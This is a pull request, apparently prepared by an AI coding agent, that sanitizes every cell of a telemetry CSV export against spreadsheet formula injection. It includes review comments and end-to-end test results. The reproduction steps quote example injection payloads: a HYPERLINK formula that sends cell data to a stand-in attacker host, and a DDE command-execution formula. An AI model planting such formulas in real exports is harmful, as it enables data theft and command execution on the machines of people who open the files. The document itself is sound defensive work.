Sanitize all CSV export cells against formula injection (CWE-1236) - #13
Sanitize all CSV export cells against formula injection (CWE-1236)#13jakexcosme wants to merge 2 commits into
Conversation
Co-Authored-By: Jake Cosme <jake@cognition.ai>
|
Prompt hidden (unlisted session) |
🤖 Devin AI EngineerI'll be helping with this pull request! Here's what you should know: ✅ I will automatically:
Note: I can only respond to comments from users who have write access to this repository. ⚙️ Control Options:
|
| let sanitizedRows = rows.map((row) => { | ||
| let sanitizedRow = {}; | ||
| headers.forEach((header) => { | ||
| sanitizedRow[header] = sanitizeCsvFormulaInjection(row[header]); | ||
| }); | ||
|
|
||
| return sanitizedRow; | ||
| }); | ||
| let csvText = new CSV(sanitizedRows, { header: headers }).encode(); |
There was a problem hiding this comment.
📝 Info: Sanitized rows only carry header keys; equivalent to prior header-filtered output
export() now rebuilds each row containing only the headers keys (src/exporters/CSVExporter.js:72-79) rather than passing the full original row objects. Since new CSV(rows, { header: headers }) already filtered output to the header set, and missing keys resolve to undefined either way, this is behavior-preserving. Also, all telemetry/unit/name cells arrive as strings from getFormattedValue (TelemetryTableColumn.js:52-55 coerces non-strings via toString()), so changing the fall-through from return str to return value does not alter output for the actual caller.
Was this helpful? React with 👍 or 👎 to provide feedback.
Co-Authored-By: Jake Cosme <jake@cognition.ai>
| if (/^\s*[=+\-@\t\r]/.test(str)) { | ||
| const trimmed = str.trim(); | ||
| if (trimmed !== '' && Number.isFinite(Number(trimmed))) { | ||
| return value; | ||
| } | ||
|
|
||
| return `'${str}`; | ||
| } |
There was a problem hiding this comment.
📝 Info: Numeric-string exemption keeps leading +/- values unescaped by design
The new numeric guard (sanitizeCsvFormulaInjection at src/exporters/CSVExporter.js:43-46) returns cells like -273.15, +1, -1 unchanged when Number.isFinite(Number(trimmed)) is true, even though they begin with a formula-trigger character (+/-). This is an intentional tradeoff to keep numeric telemetry readable as numbers in spreadsheets, and it is safe because a purely finite-numeric string cannot form a malicious formula (values like -1+1, =cmd, @x yield NaN and remain escaped). Worth noting for reviewers that this deviates from the strict OWASP rule of escaping every cell starting with =+-@, but poses no practical injection risk.
Was this helpful? React with 👍 or 👎 to provide feedback.
✅ End-to-end test: CSV formula-injection sanitization (commit 90cbc54)Tested on the local dev server: created a Telemetry Table containing a Sine Wave Generator named Results
Exported CSV — name sanitized, negative numbers untouched: Programmatic check over all 1830 rows × 10 columns: Note: the |
Describe your changes:
Security fix — CSV formula injection (CWE-1236): all exported cells are now sanitized, not just the
namecolumn.Finding (source → sink)
CSVExporter.export()performed no sanitization and relied on callers to wrap each cell withsanitizeCsvFormulaInjection(). Its only caller,TableComponent.exportAsCSV(), wrapped only thenamecolumn. Every other exported column — telemetry value columns (TelemetryTableColumn.getFormattedValue) and unit columns (TelemetryTableUnitColumn.getFormattedValue) — was written to the CSV verbatim. String-typed telemetry values and unit metadata are adversary-controlled (whoever controls the telemetry stream / persisted metadata), so a value beginning with=,+,-,@, tab, or CR is interpreted as a formula when the exported file is opened in a spreadsheet application (data exfiltration or command execution via DDE/HYPERLINK).Attack path:
Fix
Centralized sanitization at the export boundary so the exporter is safe-by-default and future callers/columns cannot regress:
src/exporters/CSVExporter.js—export()now mapssanitizeCsvFormulaInjection()over every cell of every row (per the configured headers) before encoding:src/plugins/telemetryTable/components/TableComponent.vue— removed the now-redundant per-columnnamesanitization inexportAsCSV()(the exporter handles all columns).This uses the existing in-tree control
sanitizeCsvFormulaInjection(prefixes a'when a cell matches/^\s*[=+\-@\t\r]/); no new dependencies.Compliance mapping
Reachability: BOUNDARY-REACHABLE — telemetry value/unit fields are adversary-controlled; requires victim export + spreadsheet interaction.
Reproduction steps
=HYPERLINK("http://attacker.example/?"&A1,"click")or=cmd|' /C calc'!A0(or set a unit metadata field to such a value).=...cell; opening it in Excel/Google Sheets evaluates the formula (DDE/HYPERLINK).'=...and rendered as inert text.Verification
npx eslinton both changed files: clean.npm run build:prod: webpack compiled successfully.npm test(Karma): 975/975 SUCCESS (67 skipped).Original mission prompt
All Submissions:
Author Checklist
type:label? Note: this is not necessarily the same as the original issue.Reviewer Checklist
Link to Devin session: https://app.devin.ai/sessions/a8b8af61202441008dad888eaf732ca3
Requested by: @jakexcosme
Devin Review